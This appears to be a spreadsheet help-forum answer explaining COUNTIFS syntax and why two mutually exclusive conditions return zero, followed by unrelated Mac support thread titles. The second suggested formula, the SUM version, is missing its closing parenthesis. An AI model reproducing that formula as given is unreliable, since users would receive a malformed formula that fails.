    COUNTIFS(test-values, condition, test-values..., condition...)
    test-values:   A collection containing values to be tested. test-values is a collection containing any type of value.
    condition:   An expression that results in a logical TRUE or FALSE. condition is an expression that can contain anything as long as the result from comparing condition to a value in test-values can be expressed as a Boolean value of TRUE or FALSE.
    test-values...:  Optionally include one or more additional collections containing values to be tested. Each test-values collection must be followed immediately with a condition expression. This pattern of test-values, condition can be repeated as many times as needed.
    condition...:  If an optional collection of test-values is included, an expression that results in a logical TRUE or FALSE. There must be one condition following each test-values collection; therefore, this function will always have an odd number of arguments.
    Usage Notes
    Each value in test-values is compared to the corresponding condition. If the
    corresponding values in each collection meet the corresponding conditional tests,
    the count is increased by 1.
    The test-values, condition pairs may be thought of as a series of tests connected by AND(s)—the whole set is TRUE only if ALL parts are TRUE.
    Your formula should be returning a zero count and you are testing the same set of values for two exclusive conditions—any pop-up set to "9A - 6P" cannot be also set to "10A - 7P"—at least one of the conditions will be false in every case.
    For the results you want, you'll need a formula that counts each value/condition set separately, and adds the results:
    =COUNTIF(B5:H5,"=9A-6P")+COUNTIF(B5:H5,"=10A-7P")
    OR
    =SUM(COUNTIF(B5:H5,"=9A-6P"),COUNTIF(B5:H5,"=10A-7P")
    Regards,
    Barry

Maybe you are looking for

  • Photoshop CC freezes and crashes on Mac OS 10.8

    Since a week ago, Photoshop CC suddenly became easily "frozen" when I use it on my iMac with Mac OS 10.8. Problems: - tools freeze - fail to show cropping tools and brushes properly - part of the top menu and side bars become white and empty - the sa

  • USB drives invisible in Finder

    I've been having a problem for a few weeks now where my MacBook Pro (running 10.5.2) isn't showing any USB cable connected drives in the Finder. They are clearly there in Disk Utility, and I've been able to run repairs etc, they just aren't visible o

  • Mystery files appeared

    I have found some strange files on my hard drive. They are called CreateExploders.txt, computeExplosionRanges.txt and computeExplosionMap.txt and have appeared at the top level, as soon as I open the drive icon along with the application folder libra

  • YouTube not accessible

    I am not able to access Youtube. The icon is frozen. Yesterday I did app update.without Yt I find ipad half the worth

  • Backup size always large; backups impact wireless KB & Mouse

    I notice my hourly backups that used to be quick, now take much longer. I checked in on some backups and I am surprised to find they are over 500MB in size-no way I did that much work in an hour. In addition, they seem to take forever to finalize. I